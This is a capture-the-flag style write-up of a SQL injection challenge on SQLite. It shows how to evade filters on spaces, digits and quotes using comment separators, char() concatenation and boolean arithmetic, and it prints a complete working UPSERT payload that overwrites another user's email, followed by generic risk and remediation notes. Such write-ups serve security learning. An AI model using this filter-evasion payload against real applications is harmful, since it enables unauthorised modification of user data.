SQL Injection, from INSERT to UPDATE statement.

Description

A SQL injection is a type of security attack where an attacker attempts to exploit vulnerabilities in a web application’s database layer. It occurs when user-supplied input is not properly validated or sanitized, allowing malicious SQL queries to be executed by the database. This can lead to unauthorized access to sensitive data, modification of data, or even the entire compromise of the database server.

Typically, an attacker injects malicious SQL code into input fields or parameters of a web form, such as login forms or search boxes. If the application fails to properly validate or escape the user input, the malicious code will be executed, potentially bypassing authentication mechanisms and granting unauthorized access to the underlying database.

Challenge explanation So at first, we have to take a look at the code. Here it is :

Here, we have several important elements to consider for the successful completion of this challenge. The important elements are the filters used to prevent the hacker that we are, from succeeding in attempting this injection.

The forbidden filters are:

• spaces
• numbers
• single quotes
• double quotes
• backticks

When used, they will be replaced by “IfYouCanGetADigit_YouCanGetACharacter” while being case sensitive.

Regarding the injectable field, it refers to the second insert where the variable $pass comes into play. Now, we must replace the email from the previously created line, ‘CatchMe@gmail.com’, with ‘McLovin@gmail.com’.

---

Exploitation

First, before seeing how to break the main request using $pass, we need to see how to bypass the implemented security. As for spaces, I have observed a technique before that consists of using opening and closing multi-line comments to bypass this filter.

Nothing better than a local mockup to try this out! To start, I will be using a space.

ESCAPING THE SPACE FILTER

And now, I’m going to try replacing the space with a multiline comment which is /**/

It works!!!

ESCAPING QUOTE/DOUBLEQUOTE FILTER

Now that we have crossed this milestone, how can we write a letter, a word, or a sentence without using backticks/quotes/doublequotes.

Then an idea comes to mind and that I have also been able to try several times which is to transcribe a decimal value to an ASCII character. This method is feasible using a built-in function in the SQLite3 DBMS engine (the engine we use by simply checking for a character ”;” submission).

The usable function is “char()” but it requires a numerical value to convert from decimal notation to ASCII notation.

The use of “char” is used for converting a single character, so in order to make a string, we will need to concatenate each character with a double pipe between each “char()”, here is an example below using “char” to display “test”.

This being functional, we no longer need to bypass quotes/double quotes.

ESCAPING THE NUMBERS FILTER

Now, how do we bypass numbers… This time, I think as a developer. Indeed, I can see a simple way to bypass numbers, and that is by using booleans.

In the Sqlite3 documentation, specifically in the datatypes section, I look at what is said about boolean data.

It is clearly explained to us that the booleans True and False are respectively integers. Therefore, I will now perform a new test that will be a bit longer, which is to add booleans together, and multiply to obtain at least the letter “t” from the word “test”.

Jackpot! Now that this is working perfectly, I can focus on breaking the request. The request being an “insert into,” and since we can put whatever content we want in the $pass, I want to know how this last part works. Therefore, I will do a RTFM AKA Read The Full Manual.

---

RTFM

As shown in the execution flow diagram of the “INSERT” query, I notice an interesting section towards the end, which is the “Upsert clause”.

Therefore, I replicate the same procedure and examine its execution flow, but more importantly, its functioning.

UPSERT is a special syntax addition to INSERT that causes the INSERT to behave as an UPDATE or a no-op if the INSERT would violate a uniqueness constraint.

This is exactly what we are looking for! Indeed, if we had initiated our request, it would have violated a constraint directly because the username “McLovin” already exists, and the table has been created in such a way that the username column is unique.

Therefore, we now have all the necessary weapons to carry out our attack.

---

Here come the PoC

Now that everything is possible for our attack, I will prepare my payload which is relatively long. For the preparation of this POC, I have opted for a slightly more optimized solution which is to do multiplications instead of a sequence of “true” additions.

For example, if I were to encode the lowercase letter “M” by using a succession of “true”, I would have to do “true+true+true+…” a total of 77 times!

So, I have decided to use multiplications to save space, which would give me 11 times true + 7 times true, still resulting in 77 but only writing “true” 18 times!

So, I converted the string “McLovin@gmail.com” to ASCII (decimal) values in Python to avoid manually searching the ASCII table and wasting time.

a = "McLovin@gmail.com"
for i in a:
    print(ord(i))

Now that I have all my ASCII values, I have opened my favorite text editor, and for each value I have converted from decimal to ASCII, making sure to apply the filter workarounds I made in the previous step.

Now, I am shaping my query to look like this:

NULL) ON CONFLICT (username) DO UPDATE SET email="McLovin@gmail.com";--)

NULL will be used for not entering a password value, the ON CONFLICT (username) is the field we are targeting for the update as the username is supposed to be unique, and we are updating the email.

I have omitted the WHERE clause as we do not need it in our case. Indeed, the first line was successfully created, but this line will be canceled and will perform an update of the email of the previously created line, and since this line is the only one created in our situation, then it will be updated and does not require further clarification.

Now, here is my complete request that bypasses all the filters in place and performs the email update:

NULL)/**/ON/**/CONFLICT(username)/**/DO/**/UPDATE/**/SET/**/email=(SELECT/**/char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true))||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true))||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true)-true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)+true)||char((true+true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true-true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true-true-true-true-true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true))||char((true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)+true+true+true+true)||char((true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)+true+true+true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true)||char((true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true-true-true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true-true-true-true-true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true-true)||char((true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true-true-true-true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true))||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)+true)||char((true+true+true+true+true+true+true+true+true+true+true)*(true+true+true+true+true+true+true+true+true+true)-true));--

And it’s good.

---

Risk

The risks of SQL injection can be significant and can pose both global security threats and risk of user data compromise. Here are the risks associated with SQL injection:

• Unauthorized Data Access: SQL injection attacks can allow attackers to bypass authentication mechanisms and gain unauthorized access to sensitive data stored in databases. This could include personal and financial information of users or any other confidential data.

• Data Manipulation or Deletion: Attackers can use SQL injection techniques to modify or delete data in databases, leading to integrity breaches. This can result in data loss, unauthorized modifications, or even irretrievable data corruption.

• Server Compromise: Successful SQL injection attacks can provide attackers with unauthorized access to the underlying server, compromising its security. This allows them to perform further malicious activities, such as installing malware, stealing sensitive information, or launching other attacks.

• Application Downtime: SQL injection attacks can cause denial-of-service situations by overwhelming the database server with malicious queries. This can lead to application downtime, rendering it unusable for legitimate users.

• Reputation Damage: If an organization’s systems are found to be vulnerable to SQL injection attacks, it can result in significant damage to their reputation. Users may lose trust in the organization’s ability to protect their data, leading to loss of business and other financial consequences.

Regarding replacing someone’s email with an attacking email, it is important to note that SQL injection attacks do not typically focus on email replacement directly. However, an attacker gaining unauthorized access through SQL injection can potentially modify user data, including email addresses. This can lead to various consequences, such as impersonation, unauthorized access to accounts, or potential misuse of email addresses for phishing or spamming purposes.

---

Remediation

• Use parameterized statements or prepared statements: By utilizing parameterized queries, you can separate the SQL code from the user input, preventing attackers from injecting malicious SQL statements.

• Input validation and sanitization: Implement strict input validation to validate and sanitize user input. Ensure that input values match the expected format and reject any input that could be potentially harmful.

• Access control and least privilege: Limit the privileges given to SQL user accounts to prevent attackers from gaining administrative access to the database. Create separate accounts with appropriate permissions for different database tasks.

• Regular updates and patches: Keep all software, including the database management system, up to date with security patches. This helps in fixing any vulnerabilities that could be exploited by attackers.

• Secure coding practices: Follow secure coding guidelines and best practices to avoid common security pitfalls and vulnerabilities. For example, avoid constructing SQL statements dynamically using user input directly.

• Web application firewall (WAF): Implement a WAF to monitor and filter incoming HTTP/HTTPS traffic to detect and block SQL injection attempts before they reach the database.

• Remove unnecessary functionality: Minimize the overall attack surface by removing any unnecessary or unused functionality from your applications and databases.

• Error reporting and handling: Provide generic error messages to users and log detailed error messages for developers and administrators. Avoid displaying specific database error messages that could potentially disclose sensitive information to attackers.

• Regular security testing: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify any vulnerabilities or weaknesses in your application’s security.

• Keep informed and educate: Stay updated on the latest SQL injection and other security threats. Train and educate developers, system administrators, and users about secure coding practices, the risks of SQL injection attacks, and how to prevent them.

Thanks for reading